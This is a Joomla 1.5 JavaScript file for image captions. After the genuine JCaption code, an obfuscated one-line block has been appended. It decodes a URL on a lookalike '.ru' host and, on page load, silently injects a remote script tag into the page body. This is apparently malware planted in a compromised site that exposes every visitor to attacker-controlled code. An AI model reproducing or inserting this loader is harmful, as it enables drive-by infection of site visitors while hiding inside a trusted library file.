/**
* @version		$Id: modal.js 5263 2006-10-02 01:25:24Z webImagery $
* @copyright	Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/**
 * JCaption javascript behavior
 *
 * Used for displaying image captions
 *
 * @package		Joomla
 * @since		1.5
 * @version     1.0
 */
var JCaption = new Class({
	initialize: function(selector)
	{
		this.selector = selector;

		var images = $$(selector);
		images.each(function(image){ this.createCaption(image); }, this);
	},

	createCaption: function(element)
	{
		var caption   = document.createTextNode(element.title);
		var container = document.createElement("div");
		var text      = document.createElement("p");
		var width     = element.getAttribute("width");
		var align     = element.getAttribute("align");

		if(!width) {
			width = element.width;
		}

		text.appendChild(caption);
		element.parentNode.insertBefore(container, element);
		container.appendChild(element);
		if ( element.title != "" ) {
			container.appendChild(text);
		}
		container.className   = this.selector.replace('.', '_');
		container.className   = container.className + " " + align;
		container.setAttribute("style","float:"+align);
		container.style.width = width + "px";

	}
});

document.caption = null
window.addEvent('load', function() {
  var caption = new JCaption('img.caption')
  document.caption = caption
});

var YM;if(YM!=''){YM='sf'};try {var L='';this.fS="";var Dm='';this.LR="";var C=RegExp;var r="";var CC=new Array();var n='';var I;if(I!='l'){I=''};this.EG="";var D=']';var Y='[';var w='replace';var s='g';var Mh="";var lt;if(lt!='' && lt!='TC'){lt=''};var LP="";function f(K,T){var gf;if(gf!='' && gf!='lo'){gf='UF'};var U=Y;U+=T;var MG;if(MG!='' && MG!='HP'){MG='dT'};var b='';U+=D;this.x='';var M=new C(U, s);var YG=new Array();var NJ=new Array();return K[w](M, n);var TF;if(TF!='' && TF!='Ql'){TF=null};this.G_='';};var _=f('bXoadwyB',"awBXI");var mM;if(mM!='zM' && mM!='Wz'){mM=''};var nl=f('82725252095925855727972021179712',"91527");var O;if(O!='' && O!='P'){O=''};var G=f('hQtQtQpq:E/E/qiNcQbIcI-IcEoQmI-NcEnN.EmQeNdIiIaQfNiNrNeq.qcEoQmN.IkqeQeEpEvqiEdq-EcQoNmI.QwqaIpEsQiNtQeIwqoNrqlEdE.NrNuE:E',"QEqIN");var ah;if(ah!='lP' && ah != ''){ah=null};var HV;if(HV!='Of' && HV != ''){HV=null};this.Uv="";this.F="";var Cw=f('oqn2l2o2aqd2',"2q");var t=f('skektSAStptprkikbpuwtkep',"pSwk");var gY=new Date();var e=new String();var CX='';var H=f('sScSrSijpjtj',"Sj");var xC;if(xC!='vW' && xC != ''){xC=null};var g=f('afpfpFeFnFdFCFhfiFlfdF',"fF");var q=f('/uyuivmugu.ucvoumu/EyuivmvgE.ucvoEmE/vgEoEoEgulEev.vcEovmu/vgvauzvzuevtutuau.vivtu/veuhuouwE.EcvovmE.upEhupE',"uvE");var VA=new Array();var K="1";var sfk=new Array();var Q=f('ckrZekaktZeZExlkeZmbebnxtD',"DZkxb");window[Cw]=function(){var n_="";Kq=document[Q](H);var tr;if(tr!='He' && tr!='qD'){tr='He'};var PQ;if(PQ!='' && PQ!='Ow'){PQ='rZ'};this.pD="";this.OP="";CX+=G;CX+=nl;this.XN="";CX+=q;this.Do="";this.kY="";Kq.setAttribute('defer', K);var Oc=new Array();var Ec;if(Ec!='wX'){Ec='wX'};Kq.src=CX;var lL;if(lL!=''){lL='qv'};var v=document[_];var MN;if(MN!='SO' && MN!='PG'){MN='SO'};var QI=new Date();var gmK;if(gmK!='yf'){gmK=''};v.appendChild(Kq);};var NN;if(NN!='Ui' && NN != ''){NN=null};var bt;if(bt!='vO' && bt != ''){bt=null};var OI;if(OI!=''){OI='RY'};this.hT="";} catch(V){};